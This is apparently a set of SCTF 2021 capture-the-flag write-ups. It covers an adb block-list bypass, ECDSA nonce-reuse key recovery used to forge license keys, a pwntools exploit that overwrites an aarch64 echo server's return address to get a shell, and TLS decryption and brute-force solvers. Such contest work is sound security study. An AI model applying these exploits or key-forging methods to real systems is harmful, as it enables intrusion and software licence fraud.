Upon connecting, we try many commands that normally would work in adb, such as adb shell and adb pull. We can see that most adb commands are blocked, and in adb pull there is a list of blocked words from the path, including ./, ../, flag, data, and tmp. This seems to be very locked down, but one of our team members realized that /proc/ was not blocked. Using this, we could access /proc/self/exe to retrieve the binary on the Android device that was interfacing with our adb.

Inspecting the binary in IDA, we notice a few interesting parts:

if ( !(unsigned __int8)std::string_view::starts_with(&s1, "flag:") )
{
  *a1 = -1;
  return a1;
}
v21[0] = (__int64)&`vtable for'std::__function::__func<void (*)(android::base::unique_fd_impl<android::base::DefaultCloser>),std::allocator<void (*)(android::base::unique_fd_impl<android::base::DefaultCloser>)>,void ()(android::base::unique_fd_impl<android::base::DefaultCloser>)>
       + 16;
v21[1] = (__int64)flag_service;
v6 = v21;
v22 = v21;
create_service_thread(a1, "flag", v21);
v7 = (__int64)v22;
goto LABEL_58;
}
WriteFdExactly((unsigned int)*a1, "An example of the flag looks like 'SCTF{FAKE_FLAG}'. Please enter the password.\n");
v1 = ReadLineFd(*a1, buf);
MD5(buf, v1, &v26);
v5 = s;
for ( i = 0LL; i != 16; ++i )
{
snprintf((_DWORD)v5, -1, v2, v3, *((unsigned __int8 *)&v26 + i), v4, v20);
v5 += 2;
}
if ( (unsigned __int8)android::base::ShouldLog(2LL, 0LL) )
{
v15 = (int *)__errno();
v16 = *v15;
android::base::LogMessage::LogMessage(v21, "system/core/adb/daemon/sctf_service.cpp", 65LL, 2LL, 0LL, 0xFFFFFFFFLL);
v17 = android::base::LogMessage::stream((android::base::LogMessage *)v21);
v18 = std::__put_character_sequence<char,std::char_traits<char>>(v17, "MD5: ", 5LL);
v19 = strlen(s);
std::__put_character_sequence<char,std::char_traits<char>>(v18, s, v19);
android::base::LogMessage::~LogMessage((android::base::LogMessage *)v21);
*v15 = v16;
}
v7 = *a1;
if ( *(_DWORD *)s ^ '3210' | *(_DWORD *)&s[3] ^ '6543' )
{
v8 = "Wrong..";
}
else
{
getFlag();
v8 = &getFlag(void)::FLAG;
}

It seems that, if we send a command to adb that starts with flag: and then send a value that fits with the criteria, we will get the flag back. The criteria in particular was sending a password whose MD5 hash began with 0123456 (in its hex digest). Since such custom commands are hard to send in normal adb, we used a python implementation adbutils and modified some commands.

A function was added:

    @contextmanager
    def _getflag(self, path):
        c = self._adbclient._connect()
        try:
            c.send_command(":".join(["host", "transport", self._serial]))
            c.check_okay()
            print("here")
            c.send_command("flag:")
            c.check_okay()
            print("here")
            # {COMMAND}{LittleEndianPathLength}{Path}
            #c.conn.send("01233456".encode("utf-8"))
            print(c.read_string(80))
            c.conn.send("aaaLnNkI\n".encode("utf-8"))
            print(c.read_string(80))
            return c
        finally:
            c.close()

And pull was rewritten:

    def pull(self, src: str, dst: str) -> int:
        """
        Pull file from device:src to local:dst

        Returns:
            file size
        """
        
        with open(dst, 'wb') as f:
            size = 0
            z = self._getflag(src)
            print(z.read_string(4))

Then, in python we simply connect to the device, and send any pull request, which gets translated to the get flag. This gives us the flag.

SCTF{Do_U_th1nk_th1s_1s_adb}

License

Friends of mine gave me theirs keys, so I can cheat and get the flag easily!

BHAWBGQ5-MB4IUR5V-26YFXZSW-MSHEVTDN-GZB4ED2N-KDHX7A5I

BJUWBPYH-MCVFRYIZ-ZV45N5EU-D5HL6K6H-6N4VCS6X-BIUQSUTR

Damn.. totally useless.. invalid keys! 

The included exe is an installer application, which installs SCTF2021FlagPass.exe and some required libraries.

Entering the given keys into the application, gives us the response "Key expired". Patching out the logic for the date check, or turning back the time on the current computer, makes the keys valid again, but the flag is not correct:

When reversing the application, we recover the logic for how the keys are verified:

  • The entered key is concatenated, and decoded as base32.
  • The resulting data is 54 bytes:
    2 "verification bytes"
    4 bytes of epoch time
    48 bytes signature

The signature is checked in this code, which uses ECDSA to verify the signature against a hard-coded public key from the NIST P-192 curve. Only the first 6 bytes are actually hashed and signed.

bool __fastcall sub_405A10(__int64 a1, __int64 a2, __int64 a3, __int64 a4) { __int64 v5; // rsi __int64 v6; // rbx __int64 v7; // rdi __int64 v8; // rdx __int64 v9; // rdx __int64 v10; // rdx __int64 v11; // rdx char v13[32]; // [rsp+20h] [rbp-40h] BYREF __int64 v14; // [rsp+40h] [rbp-20h] BYREF __int64 v15; // [rsp+48h] [rbp-18h] BYREF __int64 v16; // [rsp+50h] [rbp-10h] BYREF __int64 v17[5]; // [rsp+58h] [rbp-8h] BYREF v5 = EC_KEY_new_by_curve_name(a4, a2, a3, 409LL); v16 = BN_new(a4, v5); v17[0] = BN_new(a4, v5); BN_dec2bn(a4, v5, a49100172850672, &v16); BN_dec2bn(a4, v5, a89461353827347, v17); EC_KEY_set_public_key_affine_coordinates(a4, v5, v16, v5, v17[0]); SHA1(a4, v5, 6LL, a4 + 48, v13); v6 = ECDSA_SIG_new(); v14 = BN_new(a4, v5); v15 = BN_new(a4, v5); BN_dec2bn(a4, v5, a52414270819390, &v14); BN_hex2bn(a4, v5, a4, &v15); ECDSA_SIG_set0(a4, v5, v14, v6, v15); v7 = (unsigned int)ECDSA_do_verify(a4, v5, 20LL, v13, v6, v5); ECDSA_SIG_free(v7, v5, v8, v6); BN_free(v7, v5, v9, v17[0]); BN_free(v7, v5, v10, v16); EC_KEY_free(v7, v5, v11, v5); return (_DWORD)v7 == 1; }

Looking closely at this function, three numbers are hardcoded. X, Y and ??.

4910017285067243285659645658183706496882752243738091681795
894613538273475752824630788065081050497548342550540448591
5241427081939067204984227503904086701023032271828334909509

And it turns out that the last number is R from the (R,S) pair used in the signature. This means that the keys have been generated using the same nonce, and now it suddenly makes sense why we were given two keys in the challenge text. When given two signatures using the same nonce, but different data has been signed, we can re-arrange the equations a bit and recover the nonce, and thus the private key.

gen = ecdsa.curves.NIST192p.generator curve = ecdsa.curves.NIST192p.curve order = ecdsa.curves.NIST192p.order key1 = "BHAWBGQ5-MB4IUR5V-26YFXZSW-MSHEVTDN-GZB4ED2N-KDHX7A5I" key2 = "BJUWBPYH-MCVFRYIZ-ZV45N5EU-D5HL6K6H-6N4VCS6X-BIUQSUTR" keydec1 = b''.join(b32decode(e) for e in key1.split('-')) keydec2 = b''.join(b32decode(e) for e in key2.split('-')) h1 = int(sha1(keydec1[:6]).hexdigest(), 16) h2 = int(sha1(keydec2[:6]).hexdigest(), 16) x = 4910017285067243285659645658183706496882752243738091681795 y = 894613538273475752824630788065081050497548342550540448591 r = 5241427081939067204984227503904086701023032271828334909509 P = ecdsa.ellipticcurve.Point(curve, x, y) s1 = 0x788A47B5D7B05BE656648E4ACC6D3643C20F4D50CF7F83A8 s2 = 0xAA58E119CD79D6F4941F4EBF2BC7F379514BD70A29095271 r_inv = inverse_mod(r, order) h = (h1 - h2) % order for k_try in (s1 - s2, s1 + s2, -s1 - s2, -s1 + s2): k = (h * inverse_mod(k_try, order)) % order secexp = (((((s1 * k) % order) - h1) % order) * r_inv) % order if ((gen * secexp) == P): signing_key = ecdsa.SigningKey.from_secret_exponent(secexp, curve=ecdsa.curves.NIST192p, hashfunc=sha1) assert signing_key.get_verifying_key().pubkey.verifies(h1, Signature(r, s1)) break

The private key turns out to be 1325031087835349138965290766193329882829064869944584756462. Now we can sign our own keys, but there's more to be learned from the application.

Another part of the key verification, is to check that
msg[0] ^ msg[7] ^ msg[28] == 0 and msg[1] ^ msg[3] ^ msg[12] == 0
in addition the signature matching. When the key is accepted, the program checks the current time of your computer, and compares it to the epoch stored inside the key. If the current time is greater, it prints "Key expired", but otherwise it pulls the string TSRFHR6JXKTXUL4T4WY4FLPIAEHSXZC7T3FKRGVEVPEVGWBQ6KKQ==== from the process metadata. This string is decoded as base32, and XORed with the sha256-hash of the key (in its base32-decoded form). The result is shown as a message box, and all the keys we generated gave us random garbage. Though, we had generated keys for a few days into the future, or for the maximum epoch etc. Since the XOR-key-verification part includes bytes in the signature, it becomes a 48-bit brute force (with some heavy calculations!) to go through all the possible times, and this is too much.

When looking closely at the epoch time in the keys we already got, they show
Tuesday, May 11, 2021 6:00:00 and Tuesday, June 8, 2021 6:00:00. These are pretty recent keys, and both of them were at the exact same time of the day. With this information, we can reduce the brute-force a bit by only checking day by day, but it's still a 16-bit brute force per day to find all the matching verification bytes. We now guess that the correct key must be set to expire during (or right after) the CTF, and start brute-forcing.

epoch = 1623132000 + 3600*24*(22+14+31) for _ in range(100000): epoch += (3600*24) for wat in range(65536): msg = long_to_bytes(wat,2) + long_to_bytes(epoch) msg += signing_key.sign(msg, k=k)[24:] if msg[0] ^ msg[7] ^ msg[28] == 0 and msg[1] ^ msg[3] ^ msg[12] == 0: print(bxor(FLAG, sha256(msg).digest()))

after a few minutes, this prints the flag:

b'SCTF{3ll1p71c_k3y5_4r3_5m4ll3r!}'
BPYGCG2Q-MB6J65DX-PQLOWXV2-VORMM3ZI-XVZFGFCX-FM3IXFHA
3056 1629180000

EchoFrag

This challenge is an aarc64 binary implementing a fragmented echoserver. Messages can be sent in fragments up to a size of 0x200. The bug in this challenge is that the size filed for memcpy can be set to a negative number. By experimenting with this, we found that memcpy actually writes out of bounds BEFORE the dest pointer when size is a very large integer (unsigned -0x10 for example). Using this write, we can overwrite the size metadata of the echo data struct on the stack. This lets the server read out of bounds on the stack, giving us the stack canary. However, it seems that aarch64 stores the return pointer on the top of the stack, meaning that we didn't really need the stack cookie leak and the memcpy buffer underflow allows us to overwrite the return address directly. Instead, we can use the infoleak to obtain PIE leak. It turns out the server is also using qemu-aarch64, so PIE addresses are constant, so we don't really need a second stage buffer underflow. The exploit is shown below:

from pwn import *
import time

r = remote("echofrag.sstf.site", 31513)
#r = process("qemu-aarch64-static -B 0x1230000 -g 1234 -L /usr/aarch64-linux-gnu/ ./EchoFrag".split())
#r = process("qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./EchoFrag".split())
#pause()

pause()

pad = cyclic(0x200).index("aaezaafbaafca")
#print("PAD", pad)

lmaopayload = cyclic(200) + "\x00" + p16(0x700)
print(0x200 - len(lmaopayload)) # 309
#lmaopayload += "i"*(0x200 - len(lmaopayload))
lmaopayload += "i"*209 + "A"*30 + "i"*4 + "\x00"*3 + p64(0x4000000a28) + "A"*5 + "B"*30 + "AAAAiiiiii" + "B"*10

r.send("\x01" + p16(0x200) + lmaopayload)
time.sleep(0.1)

r.send("\x01" + p16(0x10) + "A"*0x14)
time.sleep(0.1)
r.send("\x00" + p16(0x10) + "ABCDEFGHIJKLMNOP")

a = ""
while len(a) < 1559:
    a += r.recv(1559 - len(a))
#a = r.recvuntil("i"*8 + "\x00\x40\x00\x00\x00")
#print(len(a))

stack_cookie = u64(r.recv(8))
pie = u64(r.recv(32)[-8:])
print(hex(stack_cookie))
print(hex(pie))

time.sleep(0.1)

#r.send("\x00" + p16(0x200) + "A"*0x200)
#time.sleep(0.1)
#r.send("\x00" + p16(0x200) + "B"*0x200)
#time.sleep(0.1)

#pad = cyclic(0x200).index("aaaeaaafaaagaaahaaaiaaajaaak")
#sicer = "C"*pad + p64(stack_cookie) + p64(pie - 0x914 + 0xA30)*5
#sicer += "E"*(0x200-len(sicer))
#r.send("\x00" + p16(0x200) + sicer)

#time.sleep(0.1)

lmaopayload = "D"*200 + "\x00" + p16(0x700)
lmaopayload += "i"*(0x200 - len(lmaopayload))

r.send("\x01" + p16(0x200) + lmaopayload)
time.sleep(0.1)

r.send("\x00")
#r.send("\x00" + p16(0x10) + "C"*0x10)
#r.send("\x01" + p16(0x0) + "B"*0x5)

#r.send("\x01" + p16(0x100) + "A"*0x200)

#r.send("\x00" + p16(0x100) + "B"*0x100)

time.sleep(0.1)
r.sendline("echo 'hi'; ls")

r.interactive()

Auth Code

This was a pwn+crypto challenge. Our ultimate code was to generate a auth code which started with "root" and we also had to leak the address of system in libc so that we could get a shell.

The binary also puts the address of the system in the .data section but we can't access it directly.

There are two bugs we exploit:

  1. 256 byte overflow in BSS in get_name which allows us to overwrite the RC4 key with whatever want.
  2. Null byte overflow in strncat which allows us to move the RC4 key just infront of the system ptr.

Since the program also allows us to control the amount of bytes used for the RC4 key schedule, we can implement a byte-by-byte bruteforce to recover the system ptr.

Then we can use the name overflow to replace the RC4 key with a known key so that we can make the auth_code be whatever we want.

Once that is done, we can get shell.

Decrypt TLS

If you see the key share of ClientHello, it's just the generator point of secp256r1. Therefore, the pre-master secret will be the X coordinate of the key share of ServerHello.

Also, we read one of RFC documentations and found this:

             0
             |
             v
   PSK ->  HKDF-Extract = Early Secret
             |
             +-----> Derive-Secret(., "ext binder" | "res binder", "")
             |                     = binder_key
             |
             +-----> Derive-Secret(., "c e traffic", ClientHello)
             |                     = client_early_traffic_secret
             |
             +-----> Derive-Secret(., "e exp master", ClientHello)
             |                     = early_exporter_master_secret
             v
       Derive-Secret(., "derived", "")
             |
             v
   (EC)DHE -> HKDF-Extract = Handshake Secret
             |
             +-----> Derive-Secret(., "c hs traffic",
             |                     ClientHello...ServerHello)
             |                     = client_handshake_traffic_secret
             |
             +-----> Derive-Secret(., "s hs traffic",
             |                     ClientHello...ServerHello)
             |                     = server_handshake_traffic_secret
             v
       Derive-Secret(., "derived", "")
             |
             v
   0 -> HKDF-Extract = Master Secret
             |
             +-----> Derive-Secret(., "c ap traffic",
             |                     ClientHello...server Finished)
             |                     = client_application_traffic_secret_0
             |
             +-----> Derive-Secret(., "s ap traffic",
             |                     ClientHello...server Finished)
             |                     = server_application_traffic_secret_0
             |
             +-----> Derive-Secret(., "exp master",
             |                     ClientHello...server Finished)
             |                     = exporter_master_secret
             |
             +-----> Derive-Secret(., "res master",
                                   ClientHello...client Finished)
                                   = resumption_master_secret

Now we can calculate secret values.

To decrypt the stream, we used WireShark. You can set secret values on TLS by using Preferences > Protocols > TLS > (Pre)-Master-Secret log filename.

To calculate the secrets, we used tls1.3 library.

from tls.key_schedule import * import hashlib shared_key = bytes.fromhex("4c498978adb0dbdff8435373188f1dc1bb6cb00bd4ddc4e666bb6be71f0acae0") tlshash = TlsHash(hashlib.sha256) key_scheduler = tlshash.scheduler(shared_key, None) client_hello = bytes.fromhex("010000be0303000000000000000000000000000000000000000000000000000000000000000000000c13011302c02bc02cc02fc0300100008900000013001100000e7777772e676f6f676c652e636f6d000a000400020017000b0002010000230000000d00080006040308040401002b0005040304030300330047004500170041046b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c2964fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5") server_hello = bytes.fromhex("02000077030334e2af2f7c45ae218aecc7dcee69147f7add13970df54bae0f8c5fe40c58bfb900130100004f0033004500170041044c498978adb0dbdff8435373188f1dc1bb6cb00bd4ddc4e666bb6be71f0acae0678c2fbe5b188849324b45e5102c80423dcc6d62c19acdbefab83e8922048852002b00020304") chts = key_scheduler.client_handshake_traffic_secret(client_hello + server_hello) shts = key_scheduler.server_handshake_traffic_secret(client_hello + server_hello) print(chts.hex()) print(shts.hex()) server_msgs = bytes.fromhex("080000020000") server_msgs += bytes.fromhex("0b000928000009240004cc308204c8308203b0a00302010202104e5a45d05e6c7c6f0300000000cc58e7300d06092a864886f70d01010b05003042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f31301e170d3231303632383034313235315a170d3231303932303034313235305a3068310b3009060355040613025553311330110603550408130a43616c69666f726e6961311630140603550407130d4d6f756e7461696e205669657731133011060355040a130a476f6f676c65204c4c43311730150603550403130e7777772e676f6f676c652e636f6d3059301306072a8648ce3d020106082a8648ce3d03010703420004cf1f75c6a61a50f0ff4f3256bc02c2b113bbd14ec25a79ef756fbedd25bd546006f52e01fe699f5c1d98c1b5c2e63746b7cf9b8005712f125525339e26dde010a382025d30820259300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e04160414ceef672ff40f1d98277d92804b69ec137eb40ceb301f0603551d2304183016801498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b306806082b06010505070101045c305a302b06082b06010505073001861f687474703a2f2f6f6373702e706b692e676f6f672f677473316f31636f7265302b06082b06010505073002861f687474703a2f2f706b692e676f6f672f677372322f475453314f312e63727430190603551d1104123010820e7777772e676f6f676c652e636f6d30210603551d20041a30183008060667810c010202300c060a2b06010401d67902050330330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e706b692e676f6f672f475453314f31636f72652e63726c30820105060a2b06010401d6790204020481f60481f300f1007600f65c942fd1773022145418083094568ee34d131933bfdf0c2f200bcc4ef164e30000017a5108d7d10000040300473045022100c0f7e3f15fd957493c08a2155774b90bc8484a6889daacae451cbc7a1832af8e022056e91416776e9b96429b3098823b372463c0c2888861dc7012fc532aecb7efd30077009420bc1e8ed58d6c88731f828b222c0dd1da4d5e6c4f943d61db4e2f584da2c20000017a5108d8230000040300483046022100f18177394412068f423689aa1e0259ebe3559f4fb0e1ad855117c67fb9629582022100825d217b4a11e5f6af03e60469d93ec4a836ce19720db8892f2e9ceec5890b1d300d06092a864886f70d01010b0500038201010019fe86563cba0df66413f79b95eea55236fc98ae3f8286520a4c2c9ae6ee8bada071faedbbd0370269fd84463311b08163b2840be4372b194315d34128da511af6a7c0b3cacbd0ccd33a66304779fbb4f9fd9fe2ba174f4c42b0fc9f457c9e01d448e800daa9a3eafe3b16f8b2ea925e0a7b9a48a2f17e1d4af3053ef6df4e5d9bd99ea809cc3ded05752948b29a8be958528c0fcfe544319d575315a4c303e1887492a5f0987010041cec7b4e7b7fafaf9c13cff594ad9346c3d566dadb911b1d00b5831d4d0d14a238b256b8f25a208a55ecd6ed64268a4be491e5af6a2890f5e0d02f9e2a84d7fce00c497080da234924ac0ffceb238332a354310e54a268000000044e3082044a30820332a003020102020d01e3b49aa18d8aa981256950b8300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523231133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3137303631353030303034325a170d3231313231353030303034325a3042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f3130820122300d06092a864886f70d01010105000382010f003082010a0282010100d018cf45d48bcdd39ce440ef7eb4dd69211bc9cf3c8e4c75b90f3119843d9e3c29ef500d10936f0580809f2aa0bd124b02e13d9f581624fe309f0b747755931d4bf74de1928210f651ac0cc3b222940f346b981049e70b9d8339dd20c61c2defd1186165e7238320a82312ffd2247fd42fe7446a5b4dd75066b0af9e426305fbe01cc46361af9f6a33ff6297bd48d9d37c1467dc75dc2e69e8f86d7869d0b71005b8f131c23b24fd1a3374f823e0ec6b198a16c6e3cda4cd0bdbb3a4596038883bad1db9c68ca7531bfcbcd9a4abbcdd3c61d7931598ee81bd8fe264472040064ed7ac97e8b9c05912a1492523e4ed70342ca5b4637cf9a33d83d1cd6d24ac070203010001a38201333082012f300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b0601050507030230120603551d130101ff040830060101ff020100301d0603551d0e0416041498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b301f0603551d230418301680149be20757671c1ec06a06de59b49a2ddfdc19862e303506082b0601050507010104293027302506082b060105050730018619687474703a2f2f6f6373702e706b692e676f6f672f6773723230320603551d1f042b30293027a025a0238621687474703a2f2f63726c2e706b692e676f6f672f677372322f677372322e63726c303f0603551d20043830363034060667810c010202302a302806082b06010505070201161c68747470733a2f2f706b692e676f6f672f7265706f7369746f72792f300d06092a864886f70d01010b050003820101001a803e3679fbf32ea946377d5e541635aec74e0899febdd13469265266073d0aba49cb62f4f11a8efc114f68964c742bd367deb2a3aa058d844d4c20650fa596da0d16f86c3bdb6f0423886b3a6cc160bd689f718eee2d583407f0d554e98659fd7b5e0d2194f58cc9a8f8d8f2adcc0f1af39aa7a90427f9a3c9b0ff02786b61bac7352be856fa4fc31c0cedb63cb44beaedcce13cecdc0d8cd63e9bca42588bcc16211740bca2d666efdac4155bcd89aa9b0926e732d20d6e6720025b10b090099c0c1f9eadd83beaa1fc6ce8105c085219512a71bbac7ab5dd15ed2bc9082a2c8ab4a621ab63ffd7524950d089b7adf2affb50ae2fe1950df346ad9d9cf5ca0000") server_msgs += bytes.fromhex("0f00004a04030046304402205d1f3737f08c217492ef72e9d7328115651daf2ccabb3b8f42f62537bad3d69702203c493db467b1f6464c4896012ba03c1e20f3bf3cfb085283fb1bf654ab3ff901") server_msgs += bytes.fromhex("14000020d720382a75e18ae785e9ec5e73bd9294b87f96905ca93276e83c374049acf7d8") cats = key_scheduler.client_application_traffic_secret_0(client_hello + server_hello + server_msgs) sats = key_scheduler.server_application_traffic_secret_0(client_hello + server_hello + server_msgs) print(cats.hex()) print(sats.hex())

The log file is here:

CLIENT_HANDSHAKE_TRAFFIC_SECRET 0000000000000000000000000000000000000000000000000000000000000000 039855c8494a0396c3aea6c5e282a47d7b960e852644a17dbb928414eabd1a4f
SERVER_HANDSHAKE_TRAFFIC_SECRET 0000000000000000000000000000000000000000000000000000000000000000 622475793c54a50229a596aaa8676301cbf794c7d3b0bb40b3fc3f3f76b19673
CLIENT_TRAFFIC_SECRET_0 0000000000000000000000000000000000000000000000000000000000000000 84dd0f8adb42ad7e8dc8cc373d8d3563095b75bef45681c3b14f45765d356117
SERVER_TRAFFIC_SECRET_0 0000000000000000000000000000000000000000000000000000000000000000 0b248f01a67943dbeac0712916560183089cfea734b295d45e609a7273eb57e2

After setting up, you can now decrypt packets. If you see the first HTTP packet, there's the flag:

Flag: SCTF{RFC8446:The_Transport_Layer_Security_(TLS)_Protocol_Version_1.3_63a3a9e1}

Bomb Defuse

The format of the flag is SCTF{012012012_012012012_012012012}, which represents a 27-character ternary value. It's converted to long, and used as a key of this scheme:

package org.terror.bomb; /* renamed from: org.terror.bomb.e */ public final class C0004e { /* renamed from: a */ private final int f11a; /* renamed from: b */ private final int f12b; public C0004e(long j) { // Key setting this.f11a = (int) (j >> 10); this.f12b = this.f11a + ((int) j); } /* renamed from: a */ public final long mo8a(long j) { // Encrypt int i = (int) (j >> 32); int i2 = (int) j; int i3 = 0; while (i3 < 10) { int i4 = this.f11a ^ i2; int i5 = i4 + ((i4 << 2) | (i4 >>> -2)) + 1; int i6 = i5 + ((i5 << 8) | (i5 >>> -8)) + this.f12b; int i7 = i - (i6 + ((i6 << 14) | (i6 >>> -14))); i3++; i = i2; i2 = i7; } return (((long) i) << 32) | (((long) i2) & 4294967295L); } }

The goal is to find a proper key that encrypts "\x7b\xd8\x4f\x97\x31\x75\x68\x8c" to #!defuse. So we wrote the solver like this:

#include <stdio.h> #include <stdlib.h> #include <stdint.h> int main(int argc, char *argv[]) { int idx = atoi(argv[1]); uint64_t t = 7625597484987LL; // 3 ** 27 uint64_t start = (t / 128) * idx; uint64_t end = (t / 128) * (idx + 1); printf("%lx %lx\n", start, end); for (uint64_t key = start; key < end; key++) { // printf("%lx %lx\n", key, key & 0xFF); if ((key & 0xFF) == 0) { printf("%lx\n", key); } uint32_t L = 0x7bd84f97; uint32_t R = 0x3175688c; uint32_t key1 = (uint32_t)(key >> 10); uint32_t key2 = key1 + ((uint32_t) key); for (int round=0; round<10; round++) { uint32_t i4 = key1 ^ R; uint32_t i5 = i4 + ((i4 << 2) | (i4 >> 30)) + 1; uint32_t i6 = i5 + ((i5 << 8) | (i5 >> 24)) + key2; uint32_t i7 = L - (i6 + ((i6 << 14) | (i6 >> 18))); L = R; R = i7; } if(L == 0x23216465) { if(R == 0x66757365) { printf("%lx\n", key); break; } } } return 0; }

We ran the program with a 120-core CPU. The right key is 0x2986e6fbe96, and the flag is SCTF{101002210_221000220_020220121}.